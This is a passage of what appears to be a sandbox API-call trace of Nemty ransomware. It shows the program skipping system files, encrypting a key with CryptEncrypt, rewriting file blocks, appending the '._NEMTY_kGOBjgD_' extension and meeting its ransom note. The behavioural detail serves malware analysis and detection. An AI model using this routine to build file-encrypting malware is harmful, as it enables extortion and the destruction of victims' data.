returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="..") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="...") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="windows") returned -1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="rsa") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="ntldr") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="IO.SYS") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="boot.ini") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="boot.ini") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="ntuser.dat") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="desktop.ini") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="RECYCLER") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="bootmgr") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="programdata") returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="appdata") returned 1 [0077.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0077.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.771] Sleep (dwMilliseconds=0x5) [0077.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe201cc70, dwHighDateTime=0x1d561e7)) [0077.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe201cc70, dwHighDateTime=0x1d561e7)) [0077.779] GetLastError () returned 0x5 [0077.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.780] GetLastError () returned 0x5 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.780] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0077.780] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="rXNbuAM/SXiX0BEKnmdLzrDezD2I3Xq227e+c511kLyxz9X59dqgkyOB1sa2qGXJ\r\nf0uqzaOuweUvbVu05wR8QbUUOXplXaH4B7a38DKgmiZMrM3Y8trxeH9/3yt61h3K\r\n3gd/ywTZjcehyh6op8rsy1Gt59/fl2wQxJakLlioUhLUKsb7w3suYLSy4Odg/zzy\r\n+NaLPegWwMY/1YDJf5njuzS1vUZYtIZZMH7olp2lcE52gEkmkRz1H0y7mDbyMhMG\r\n3Delfbv/YX1US1jKSDmSZo+MjhxwFVKDyj1kIggFi4uTP1Nngc8EKm1rgyHMEaFM\r\n5frBQ9H5phiXTeVZv17rkw==\r\n", pcchString=0x653e91c) returned 1 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0077.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.780] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.781] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.889] CloseHandle (hObject=0xffffffff) returned 0 [0077.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0077.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0077.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.889] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv._nemty_kgobjgd_")) returned 0 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdff15b30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xdff15b30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdff15b30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0077.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0077.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0077.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0077.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0077.890] 